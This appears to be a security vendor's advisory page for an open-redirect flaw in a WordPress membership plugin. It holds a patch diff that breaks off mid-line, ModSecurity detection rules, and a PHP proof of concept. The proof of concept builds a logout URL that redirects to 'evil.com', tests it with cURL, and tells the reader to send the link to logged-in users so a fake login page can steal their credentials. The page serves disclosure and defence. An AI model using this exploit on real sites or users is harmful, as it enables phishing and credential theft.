- 'desc' => sprintf( __( 'Confirmation page shown after successful registration or membership purchase. Use it to welcome new members and provide next steps. Add the Thank You block or [%s] shortcode to this page.', 'user-registration' ), apply_filters( 'user_registration_membership_thank_you_shortcode_tag', 'user_registration_membership_thank_you' ) ),
- //phpcs:ignore
- 'id' => 'user_registration_thank_you_page_id',
- 'type' => 'single_select_page',
- 'default' => '',
- 'class' => 'ur-enhanced-select-nostd',
- 'css' => '',
- 'desc_tip' => true,
- ),
+// array(
+// 'title' => __( 'Thank You Page', 'user-registration' ),
+// 'desc' => sprintf( __( 'Confirmation page shown after successful registration or membership purchase. Use it to welcome new members and provide next steps. Add the Thank You block or [%s] shortcode to this page.', 'user-registration' ), apply_filters( 'user_registration_membership_thank_you_shortcode_tag', 'user_registration_membership_thank_you' ) ),
+// //phpcs:ignore
+// 'id' => 'user_registration_thank_you_page_id',
+// 'type' => 'single_select_page',
+// 'default' => '',
+// 'class' => 'ur-enhanced-select-nostd',
+// 'css' => '',
+// 'desc_tip' => true,
+// ),
),
),
),
--- a/user-registration/includes/admin/settings/class-ur-settings-import-export.php
+++ b/user-registration/includes/admin/settings/class-ur-settings-import-export.php
@@ -49,7 +49,7 @@
if( 'import-export' !== $current_section ) return $sections;
$sections = array(
- '' => __( 'Export Users', 'user-registration' ),
+ '' => __( 'Export Members', 'user-registration' ),
'import-export-forms' => __( 'Import/Export Forms', 'user-registration' ),
);
--- a/user-registration/includes/admin/settings/class-ur-settings-membership.php
+++ b/user-registration/includes/admin/settings/class-ur-settings-membership.php
@@ -12,12 +12,13 @@
* @version 5.0.0
* @since 5.0.0
*/
+
if ( ! class_exists( 'UR_Settings_Membership' ) ) {
/**
* UR_Settings_Membership Class
*/
class UR_Settings_Membership extends UR_Settings_Page {
- private static $_instance = null;
+ private static $_instance = null; // phpcs:ignore
/**
* Constructor.
*/
@@ -27,6 +28,12 @@
parent::__construct();
$this->handle_hooks();
}
+
+ /**
+ * Singleton class instance.
+ *
+ * @return UR_Settings_Membership
+ */
public static function get_instance() {
if ( null === self::$_instance ) {
self::$_instance = new self();
@@ -35,14 +42,18 @@
}
/**
* Register hooks for submenus and section UI.
+ *
* @return void
*/
public function handle_hooks() {
add_filter( "user_registration_get_sections_{$this->id}", array( $this, 'get_sections_callback' ), 1, 1 );
add_filter( "user_registration_get_settings_{$this->id}", array( $this, 'get_settings_callback' ), 1, 1 );
}
+
/**
* Filter to provide sections submenu for membership settings.
+ *
+ * @param array $sections Settings section.
*/
public function get_sections_callback( $sections ) {
$sections['general'] = __( 'General', 'user-registration' );
@@ -50,8 +61,12 @@
return $sections;
}
+
/**
* Filter to provide sections UI for membership settings.
+ *
+ * @param array $settings Settings array.
+ * @return array
*/
public function get_settings_callback( $settings ) {
global $current_section;
@@ -70,6 +85,7 @@
'title' => __( 'General', 'user-registration' ),
'type' => 'card',
'desc' => sprintf(
+ /* translators: %s - Admin URL for membership page settings */
__( '<strong>Membership page setting has moved.</strong> Configure your membership page <a href="%s">here</a>.', 'user-registration' ),
admin_url( 'admin.php?page=user-registration-settings&tab=general§ion=pages' )
),
@@ -99,8 +115,13 @@
return $settings;
}
+ /**
+ * Content restriction settings.
+ *
+ * @return array
+ */
public function urcr_settings() {
- // Build sections array
+ // Build sections array.
$sections = array();
$default_message = '<h3>' . __( 'Membership Required', 'user-registration' ) . '</h3>
@@ -135,8 +156,12 @@
),
);
$is_new_installation = ur_string_to_bool( get_option( 'urm_is_new_installation', '' ) );
- if ( $is_new_installation ) {
- $sections['user_registration_content_restriction_settings']['desc'] = sprintf( __( '<strong>The Global Restriction setting has moved.</strong> You can now manage it <a href="%1$s" target="_blank" style="text-decoration: underline;" >here.</a>', 'user-registration' ), esc_url_raw( $content_rule_url ) );
+ if ( ! $is_new_installation ) {
+ $sections['user_registration_content_restriction_settings']['desc'] = sprintf(
+ /* translators: %s - Content rule URL */
+ __( '<strong>The Global Restriction setting has moved.</strong> You can now manage it <a href="%1$s" target="_blank" style="text-decoration: underline;" >here.</a>', 'user-registration' ),
+ esc_url_raw( $content_rule_url )
+ );
}
return apply_filters(
@@ -151,5 +176,5 @@
}
}
-//Backward Compatibility.
+// Backward Compatibility.
return method_exists( 'UR_Settings_Membership', 'get_instance' ) ? UR_Settings_Membership::get_instance() : new UR_Settings_Membership();
--- a/user-registration/includes/admin/settings/class-ur-settings-page.php
+++ b/user-registration/includes/admin/settings/class-ur-settings-page.php
@@ -33,6 +33,8 @@
/**
* List of sections.
+ *
+ * @var array
*/
protected $sections = array();
@@ -59,6 +61,8 @@
/**
* Get default section.
+ *
+ * @param string $default_section Default Section.
*/
public function get_default_section( $default_section ) {
return $this->get_sections() ? array_key_first( $this->get_sections() ) : $default_section;
@@ -109,7 +113,6 @@
/**
* Backward compatibility: previous settings section.
*/
- // $settings = apply_filters( 'user_registration_' . $this->id . '_settings', $settings );
return $settings;
}
@@ -135,6 +138,32 @@
public function output_sections() {
global $current_section;
+ $active_section = $current_section;
+
+ if ( 'email' === $this->id && is_string( $current_section ) && 0 === strpos( $current_section, 'ur_settings_' ) && method_exists( $this, 'get_emails' ) ) {
+ $emails = $this->get_emails();
+ if ( is_array( $emails ) ) {
+ foreach ( $emails as $email ) {
+ if ( ! isset( $email->id, $email->receiver ) ) {
+ continue;
+ }
+ if ( 'ur_settings_' . $email->id !== $current_section ) {
+ continue;
+ }
+ $receiver = strtolower( $email->receiver );
+ if ( 'admin' === $receiver ) {
+ $active_section = 'to-admin';
+ } elseif ( 'user' === $receiver ) {
+ $active_section = 'to-user';
+ }
+ break;
+ }
+ }
+ }
+
+ if ( 'email' === $this->id && is_string( $current_section ) && 0 === strpos( $current_section, 'ur_settings_custom_email_' ) ) {
+ $active_section = 'custom-email';
+ }
$sections = $this->get_sections();
if ( empty( $sections ) ) {
@@ -164,7 +193,7 @@
if ( isset( $premium_tab[ $id ]['plugin'] ) && is_plugin_active( $premium_tab[ $id ]['plugin'] . '/' . $premium_tab[ $id ]['plugin'] . '.php' ) && ( in_array( $premium_tab[ $id ]['plugin'], $tab_slugs ) || in_array( $id, $tab_slugs ) || in_array( $id_bc, $tab_slugs ) ) ) {
$show_section = false;
}
- //woocommerce compatibility.
+ // woocommerce compatibility.
if ( 'woocommerce' === $id && ! is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
$show_section = false;
}
@@ -183,30 +212,42 @@
if ( $show_section ) {
ob_start();
?>
- <li <?php echo ( $current_section === $id ? ' class="current" ' : '' ); ?>>
- <a href="<?php echo esc_url( admin_url( 'admin.php?page=user-registration-settings&tab=' . $this->id . '§ion=' . sanitize_title( $id ) ) ); ?>" class="<?php echo( $current_section === $id ? 'current' : '' ); ?> ur-scroll-ui__item">
+ <li <?php echo ( $active_section === $id ? ' class="current" ' : '' ); ?>>
+ <a href="<?php echo esc_url( admin_url( 'admin.php?page=user-registration-settings&tab=' . $this->id . '§ion=' . sanitize_title( $id ) ) ); ?>" class="<?php echo( $active_section === $id ? 'current' : '' ); ?> ur-scroll-ui__item">
<span class="timeline"></span>
<span class="submenu"><?php echo esc_html( $label ); ?></span>
<?php if ( $show_premium_icon ) : ?>
- <img style="width: 14px; height: 14px;margin-left: 4px;" src="<?php echo UR()->plugin_url() . '/assets/images/icons/ur-pro-icon.png'; ?>" />
- <?php
+ <img style="width: 14px; height: 14px;margin-left: 4px;" src="<?php echo esc_url( UR()->plugin_url() . '/assets/images/icons/ur-pro-icon.png' ); ?>" />
+ <?php
endif;
?>
</a>
</li>
<?php
- echo ob_get_clean();
+ echo ob_get_clean(); // phpcs:ignore
}
}
echo '</ul>';
}
+
+ /**
+ * Get section parts.
+ *
+ * @return array
+ */
public function get_section_parts() {
return apply_filters(
'user_registration_get_section_parts_' . $this->id,
- array(),
+ array()
);
}
+
+ /**
+ * Output section parts.
+ *
+ * @return void
+ */
public function output_section_parts() {
global $current_section;
global $current_section_part;
@@ -225,7 +266,7 @@
</a>
</li>
<?php
- echo ob_get_clean();
+ echo ob_get_clean(); // phpcs:ignore
}
echo '</ul>';
@@ -238,6 +279,11 @@
UR_Admin_Settings::output_fields( $settings );
}
+ /**
+ * Upgrade to pro settings.
+ *
+ * @return array
+ */
public function upgrade_to_pro_setting() {
global $current_section;
global $current_tab;
--- a/user-registration/includes/admin/settings/class-ur-settings-payment.php
+++ b/user-registration/includes/admin/settings/class-ur-settings-payment.php
@@ -15,46 +15,49 @@
* UR_Settings_Payment Class
*/
class UR_Settings_Payment extends UR_Settings_Page {
- private static $_instance = null;
+ private static $_instance = null;
/**
* Constructor.
*/
private function __construct() {
$this->id = 'payment';
$this->label = __( 'Payment', 'user-registration' );
- parent::__construct();
- $this->handle_hooks();
+ parent::__construct();
+ $this->handle_hooks();
}
- public static function get_instance() {
- if ( null === self::$_instance ) {
- self::$_instance = new self();
- }
- return self::$_instance;
- }
- /**
- * Register hooks for submenus and section UI.
- * @return void
- */
- public function handle_hooks() {
- add_filter( "user_registration_get_sections_{$this->id}", array( $this, 'get_sections_callback' ), 1, 1 );
- add_filter( "user_registration_get_settings_{$this->id}", array( $this, 'get_settings_callback' ), 1, 1 );
-
- add_filter( 'urm_validate_bank_payment_section_before_update', array(
- $this,
- 'validate_bank_section'
- ) );
+ public static function get_instance() {
+ if ( null === self::$_instance ) {
+ self::$_instance = new self();
+ }
+ return self::$_instance;
+ }
+ /**
+ * Register hooks for submenus and section UI.
+ * @return void
+ */
+ public function handle_hooks() {
+ add_filter( "user_registration_get_sections_{$this->id}", array( $this, 'get_sections_callback' ), 1, 1 );
+ add_filter( "user_registration_get_settings_{$this->id}", array( $this, 'get_settings_callback' ), 1, 1 );
+
+ add_filter(
+ 'urm_validate_bank_payment_section_before_update',
+ array(
+ $this,
+ 'validate_bank_section',
+ )
+ );
add_action( 'urm_save_bank_payment_section', array( $this, 'save_section_settings' ), 10, 1 );
- }
+ }
public function validate_bank_section( $form_data ) {
$response = array(
'status' => true,
);
- if( isset($form_data['user_registration_bank_enabled']) && ! $form_data['user_registration_bank_enabled'] ) {
+ if ( isset( $form_data['user_registration_bank_enabled'] ) && ! $form_data['user_registration_bank_enabled'] ) {
return $response;
}
- if ( empty( $form_data['user_registration_global_bank_details'] )) {
+ if ( empty( $form_data['user_registration_global_bank_details'] ) ) {
$response['status'] = false;
$response['message'] = 'Bank details cannot be empty';
return $response;
@@ -68,50 +71,60 @@
ur_save_settings_options( $section, $form_data );
}
- /**
- * Filter to provide sections submenu for payment settings.
- */
- public function get_sections_callback( $sections ) {
- $sections[ 'payment-method' ] = __( 'Payment Method', 'user-registration' );
- $sections[ 'store' ] = __( 'Store', 'user-registration' );
- return $sections;
- }
- /**
- * Filter to provide sections UI for payment settings.
- */
- public function get_settings_callback( $settings ) {
- global $current_section;
- if( ! in_array( $current_section, array( 'payment-method', 'store', 'tax-vat', 'invoices', 'payment-retry' ) ) ) return;
- $general_settings = $this->get_general_settings();
- $paypal_settings = $this->get_paypal_settings();
- $stripe_settings = $this->get_stripe_settings();
- $bank_transfer_settings = $this->get_bank_transfer_settings();
- if( 'payment-method' === $current_section ) {
- add_filter( 'user_registration_settings_hide_save_button', '__return_true' );
- $settings = array(
- 'title' => '',
- 'sections' => array(
- 'paypal_options' => $paypal_settings,
- 'stripe_options' => $stripe_settings,
- 'bank_transfer_options' => $bank_transfer_settings,
- ),
- );
- /* Backward compatibility */
- $settings = apply_filters( 'user_registration_payment_settings', $settings );
- } elseif( 'store' === $current_section ) {
- add_filter( 'user_registration_settings_hide_save_button', '__return_true' );
- $settings = array(
- 'title' => '',
- 'sections' => array(
- 'general_options' => $general_settings,
- )
- );
- } else {
- $settings = $this->upgrade_to_pro_setting();
- }
- return $settings;
- }
- /**
+ /**
+ * Filter to provide sections submenu for payment settings.
+ */
+ public function get_sections_callback( $sections ) {
+ $sections['payment-method'] = __( 'Payment Method', 'user-registration' );
+ $sections['store'] = __( 'Store', 'user-registration' );
+ return $sections;
+ }
+ /**
+ * Filter to provide sections UI for payment settings.
+ */
+ public function get_settings_callback( $settings ) {
+ global $current_section;
+ if ( ! in_array( $current_section, array( 'payment-method', 'store', 'tax-vat', 'invoices', 'payment-retry' ) ) ) {
+ return;
+ }
+ $general_settings = $this->get_general_settings();
+ $paypal_settings = $this->get_paypal_settings();
+ $stripe_settings = $this->get_stripe_settings();
+ $bank_transfer_settings = $this->get_bank_transfer_settings();
+ if ( ! UR_PRO_ACTIVE ) {
+ $authorize_net_free_settings = $this->get_free_authorize_net_transfer_settings();
+ $mollie_free_settings = $this->get_free_mollie_transfer_settings();
+ }
+ if ( 'payment-method' === $current_section ) {
+ add_filter( 'user_registration_settings_hide_save_button', '__return_true' );
+ $settings = array(
+ 'title' => '',
+ 'sections' => array(
+ 'paypal_options' => $paypal_settings,
+ 'stripe_options' => $stripe_settings,
+ 'bank_transfer_options' => $bank_transfer_settings,
+ ),
+ );
+ if ( ! UR_PRO_ACTIVE ) {
+ $settings['sections']['mollie_free_options'] = $mollie_free_settings;
+ $settings['sections']['authorize_net_free_options'] = $authorize_net_free_settings;
+ }
+ /* Backward compatibility */
+ $settings = apply_filters( 'user_registration_payment_settings', $settings );
+ } elseif ( 'store' === $current_section ) {
+ add_filter( 'user_registration_settings_hide_save_button', '__return_true' );
+ $settings = array(
+ 'title' => '',
+ 'sections' => array(
+ 'general_options' => $general_settings,
+ ),
+ );
+ } else {
+ $settings = $this->upgrade_to_pro_setting();
+ }
+ return $settings;
+ }
+ /**
* Function to get general Settings
*/
public function get_general_settings() {
@@ -124,289 +137,320 @@
}
$settings = array(
- 'id' => 'payment-settings',
- 'title' => esc_html__( 'Store', 'user-registration' ),
- 'type' => 'card',
- 'desc' => '',
- 'show_status' => false,
- 'show_logo' => false,
- 'settings' => array(
- array(
- 'title' => __( 'Currency', 'user-registration' ),
- 'desc' => __( 'This option lets you choose currency for payments.', 'user-registration' ),
- 'id' => 'user_registration_payment_currency',
- 'default' => 'USD',
- 'type' => 'select',
- 'class' => 'ur-enhanced-select',
- 'css' => '',
- 'desc_tip' => true,
- 'options' => $currencies_list,
- ),
- array(
- 'title' => __( 'Save', 'user-registration' ),
- 'id' => 'user_registration_payment_save_settings',
- 'type' => 'button',
- 'class' => 'payment-settings-btn'
- ),
- )
- );
- return apply_filters( 'user_registration_payment_settings', $settings );
- }
-
- public function get_paypal_settings() {
-
- $test_admin_email = get_option( 'user_registration_global_paypal_test_admin_email', '' );
- $test_client_id = get_option( 'user_registration_global_paypal_test_client_id', '' );
- $test_client_secret = get_option( 'user_registration_global_paypal_test_client_secret', '' );
-
- $live_admin_email = get_option( 'user_registration_global_paypal_live_admin_email', '' );
- $live_client_id = get_option( 'user_registration_global_paypal_live_client_id', '' );
- $live_client_secret = get_option( 'user_registration_global_paypal_live_client_secret', '' );
-
- $paypal_mode = get_option( 'user_registration_global_paypal_mode', '' );
- $paypal_enabled = get_option( 'user_registration_paypal_enabled', '' );
-
- if ( false === get_option( 'urm_global_paypal_settings_migrated_', false ) ) {
- //runs for backward compatibility, could be removed in future versions.
- if( 'test' === $paypal_mode ) {
- $test_admin_email = get_option( 'user_registration_global_paypal_email_address', '' );
- $test_client_id = get_option( 'user_registration_global_paypal_client_id', '' );
- $test_client_secret = get_option( 'user_registration_global_paypal_client_secret', '' );
- } else {
- $live_admin_email = get_option( 'user_registration_global_paypal_email_address', '' );
- $live_client_id = get_option( 'user_registration_global_paypal_client_id', '' );
- $live_client_secret = get_option( 'user_registration_global_paypal_client_secret', '' );
- }
- }
-
- // Determine default toggle value based on urm_is_new_installation option
- $paypal_toggle_default = ur_string_to_bool(get_option( 'urm_is_new_installation', false )) ;
-
- return array(
- 'title' => __( 'Paypal', 'user-registration' ),
- 'type' => 'accordian',
- 'id' => 'paypal',
- 'desc' => '',
- 'is_connected' => get_option( 'urm_paypal_connection_status', false ),
- 'settings' => array(
- array(
- 'type' => 'toggle',
- 'title' => __( 'Enable PayPal', 'user-registration' ),
- 'desc' => __( 'Enable PayPal payment gateway.', 'user-registration' ),
- 'id' => 'user_registration_paypal_enabled',
- 'desc_tip' => true,
- 'default' => ($paypal_enabled) ? $paypal_enabled : !$paypal_toggle_default,
- 'class' => 'urm_toggle_pg_status',
- ),
- array(
- 'id' => 'user_registration_global_paypal_mode',
- 'type' => 'select',
- 'title' => __( 'Mode', 'user-registration' ),
- 'desc' => __( 'Select a mode to run paypal.', 'user-registration' ),
- 'desc_tip' => true,
- 'options' => array(
- 'production' => __( 'Production', 'user-registration' ),
- 'test' => __( 'Test/Sandbox', 'user-registration' ),
- ),
- 'class' => 'ur-enhanced-select',
- 'default' => $paypal_mode,
- ),
- array(
- 'type' => 'text',
- 'title' => __( 'Cancel Url', 'user-registration' ),
- 'desc' => __( 'Endpoint set for handling paypal cancel api.', 'user-registration' ),
- 'desc_tip' => true,
- 'id' => 'user_registration_global_paypal_cancel_url',
- 'default' => get_option( 'user_registration_global_paypal_cancel_url' ),
- 'placeholder' => esc_url( home_url() ),
- ),
- array(
- 'type' => 'text',
- 'title' => __( 'Return Url', 'user-registration' ),
- 'desc' => __( 'Redirect url after the payment process, also used as notify_url for Paypal IPN.', 'user-registration' ),
- 'desc_tip' => true,
- 'id' => 'user_registration_global_paypal_return_url',
- 'default' => get_option( 'user_registration_global_paypal_return_url' ),
- 'placeholder' => esc_url( wp_login_url() ),
- ),
- array(
- 'type' => 'text',
- 'title' => __( 'PayPal Email Address', 'user-registration' ),
- 'desc' => __( 'Enter your PayPal email address in sandbox/test mode.', 'user-registration' ),
- 'desc_tip' => true,
- 'required' => true,
- 'id' => 'user_registration_global_paypal_test_email_address',
- 'default' => $test_admin_email,
- 'placeholder' => $test_admin_email
- ),
- array(
- 'type' => 'text',
- 'title' => __( 'Client ID', 'user-registration' ),
- 'desc' => __( 'Client ID for PayPal in sandbox/test mode.', 'user-registration' ),
- 'desc_tip' => true,
- 'id' => 'user_registration_global_paypal_test_client_id',
- 'default' => $test_client_id,
- ),
- array(
- 'type' => 'text',
- 'title' => __( 'Client Secret', 'user-registration' ),
- 'desc' => __( 'Client Secret for PayPal in sandbox/test mode.', 'user-registration' ),
- 'desc_tip' => true,
- 'id' => 'user_registration_global_paypal_test_client_secret',
- 'default' => $test_client_secret,
- ),
- array(
- 'type' => 'text',
- 'title' => __( 'PayPal Email Address', 'user-registration' ),
- 'desc' => __( 'Enter your PayPal email address.', 'user-registration' ),
- 'desc_tip' => true,
- 'required' => true,
- 'id' => 'user_registration_global_paypal_live_email_address',
- 'default' => $live_admin_email,
- 'placeholder' => $live_admin_email,
- ),
- array(
- 'type' => 'text',
- 'title' => __( 'Client ID', 'user-registration' ),
- 'desc' => __( 'Your client_id, Required for subscription related operations.', 'user-registration' ),
- 'desc_tip' => true,
- 'id' => 'user_registration_global_paypal_live_client_id',
- 'default' => $live_client_id,
- ),
- array(
- 'type' => 'text',
- 'title' => __( 'Client Secret', 'user-registration' ),
- 'desc' => __( 'Your client_secret, Required for subscription related operations.', 'user-registration' ),
- 'desc_tip' => true,
- 'id' => 'user_registration_global_paypal_live_client_secret',
- 'default' => $live_client_secret,
- ),
- array(
- 'title' => __( 'Save', 'user-registration' ),
- 'id' => 'user_registration_paypal_save_settings',
- 'type' => 'button',
- 'class' => 'payment-settings-btn',
- ),
- ),
- );
- }
- public function get_stripe_settings() {
- $stripe_enabled = get_option( 'user_registration_stripe_enabled', '' );
-
- // Determine default toggle value based on urm_is_new_installation option
- $stripe_toggle_default = ur_string_to_bool(get_option( 'urm_is_new_installation', false ));
-
- return array(
- 'id' => 'stripe',
- 'title' => __( 'Stripe', 'user-registration' ),
- 'type' => 'accordian',
- 'show_status' => false,
- 'desc' => '',
- 'is_connected' => get_option( 'urm_stripe_connection_status', false ),
- 'settings' => array(
- array(
- 'type' => 'toggle',
- 'title' => __( 'Enable Stripe', 'user-registration' ),
- 'desc' => __( 'Enable Stripe payment gateway.', 'user-registration' ),
- 'id' => 'user_registration_stripe_enabled',
- 'desc_tip' => true,
- 'default' => ($stripe_enabled) ? $stripe_enabled : !$stripe_toggle_default,
- 'class' => 'urm_toggle_pg_status',
- ),
- array(
- 'type' => 'toggle',
- 'title' => __( 'Enable Test Mode', 'user-registration' ),
- 'desc' => __( 'Check if using test mode.', 'user-registration' ),
- 'id' => 'user_registration_stripe_test_mode',
- 'desc_tip' => true,
- 'default' => '',
- ),
- array(
- 'title' => __( 'Publishable key', 'user-registration' ),
- 'desc' => __( 'Stripe publishable key in test mode.', 'user-registration' ),
- 'id' => 'user_registration_stripe_test_publishable_key',
- 'type' => 'text',
- 'css' => 'min-width: 350px',
- 'desc_tip' => true,
- 'default' => '',
- ),
- array(
- 'tit
ModSecurity Protection Against This CVE
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@rx ^/(?:wp-login.php|wp-admin/admin-ajax.php)"
"id:20266203,phase:2,deny,status:403,chain,msg:'CVE-2026-6203: User Registration & Membership plugin open redirect attempt',severity:'CRITICAL',tag:'CVE-2026-6203',tag:'OWASP_A1:Injection',tag:'WASCTC:WASC-38',tag:'PCI:6.5.4'"
SecRule ARGS_GET:action "@streq logout" "chain"
SecRule ARGS_GET:redirect_to_on_logout "@rx ^(?:ht|f)tps?://"
"t:lowercase,t:urlDecodeUni,t:removeNulls,chain"
SecRule ARGS_GET:redirect_to_on_logout "!@rx ^(?:ht|f)tps?://([^/]+.)?(localhost|127.0.0.1|[::1]|example.com)"
"t:lowercase,t:urlDecodeUni,setvar:'tx.cve20266203_score=+1',setvar:'tx.anomaly_score=+%{tx.critical_anomaly_score}'"
SecRule REQUEST_URI "@rx ^/(?:wp-login.php|wp-admin/admin-ajax.php)"
"id:20266204,phase:2,deny,status:403,chain,msg:'CVE-2026-6203: Encoded open redirect attempt via redirect_to_on_logout',severity:'CRITICAL',tag:'CVE-2026-6203',tag:'OWASP_A1:Injection'"
SecRule ARGS_GET:action "@streq logout" "chain"
SecRule ARGS_GET:redirect_to_on_logout "@rx %(?:25)?2[fF]%(?:25)?2[fF][^/]+%2[fF]"
"t:urlDecodeUni,t:removeNulls,chain"
SecRule ARGS_GET:redirect_to_on_logout "@rx ^(?:ht|f)tps?://"
"t:lowercase,t:urlDecodeUni,chain"
SecRule ARGS_GET:redirect_to_on_logout "!@rx ^(?:ht|f)tps?://([^/]+.)?(localhost|127.0.0.1|[::1]|example.com)"
"t:lowercase,t:urlDecodeUni,setvar:'tx.cve20266203_score=+1',setvar:'tx.anomaly_score=+%{tx.critical_anomaly_score}'"
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6203 - User Registration & Membership <= 5.1.4 - Unauthenticated Open Redirect via 'redirect_to_on_logout' Parameter
<?php
/**
* Proof of Concept for CVE-2026-6203
* Demonstrates unauthenticated open redirect via 'redirect_to_on_logout' parameter
* Target: WordPress sites with User Registration & Membership plugin <= 5.1.4
*/
// Configuration
$target_url = "https://victim-site.com"; // Change to target WordPress site
$malicious_redirect = "https://evil.com/phishing-page"; // Change to attacker-controlled site
// Construct the exploit URL
// The plugin's logout functionality is typically accessed via wp-login.php with action=logout
$exploit_url = $target_url . "/wp-login.php?action=logout&redirect_to_on_logout=" . urlencode($malicious_redirect);
// Display the exploit link
echo "Exploit URL: " . $exploit_url . "nn";
// Optional: Automatically test with cURL
function test_exploit($url) {
$ch = curl_init();
// Set cURL options
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // Don't follow redirects automatically
curl_setopt($ch, CURLOPT_HEADER, true); // Get headers to see redirect
curl_setopt($ch, CURLOPT_NOBODY, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$redirect_url = curl_getinfo($ch, CURLINFO_REDIRECT_URL);
curl_close($ch);
// Analyze response
echo "HTTP Status Code: " . $http_code . "n";
if ($http_code >= 300 && $http_code < 400) {
echo "VULNERABLE: Site is redirecting to external locationn";
if ($redirect_url) {
echo "Redirect URL: " . $redirect_url . "n";
}
// Check if Location header contains our malicious URL
if (strpos($response, "Location: ") !== false) {
$location_header = substr($response, strpos($response, "Location: ") + 10);
$location_header = substr($location_header, 0, strpos($location_header, "rn"));
echo "Location Header: " . $location_header . "n";
if (strpos($location_header, 'evil.com') !== false || strpos($location_header, $malicious_redirect) !== false) {
echo "CONFIRMED: Redirect points to attacker-controlled domainn";
}
}
} elseif ($http_code == 200) {
echo "POTENTIALLY PATCHED: No redirect occurred (may be using wp_safe_redirect)n";
} else {
echo "Test completed with status: " . $http_code . "n";
}
}
// Uncomment to automatically test
// test_exploit($exploit_url);
// Usage instructions
echo "nInstructions:n";
echo "1. Send the exploit URL to a logged-in user of the target siten";
echo "2. When the user clicks the link, they will be logged out and redirected to the malicious siten";
echo "3. The malicious site can mimic a login page to steal credentialsn";
?>
Frequently Asked Questions
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






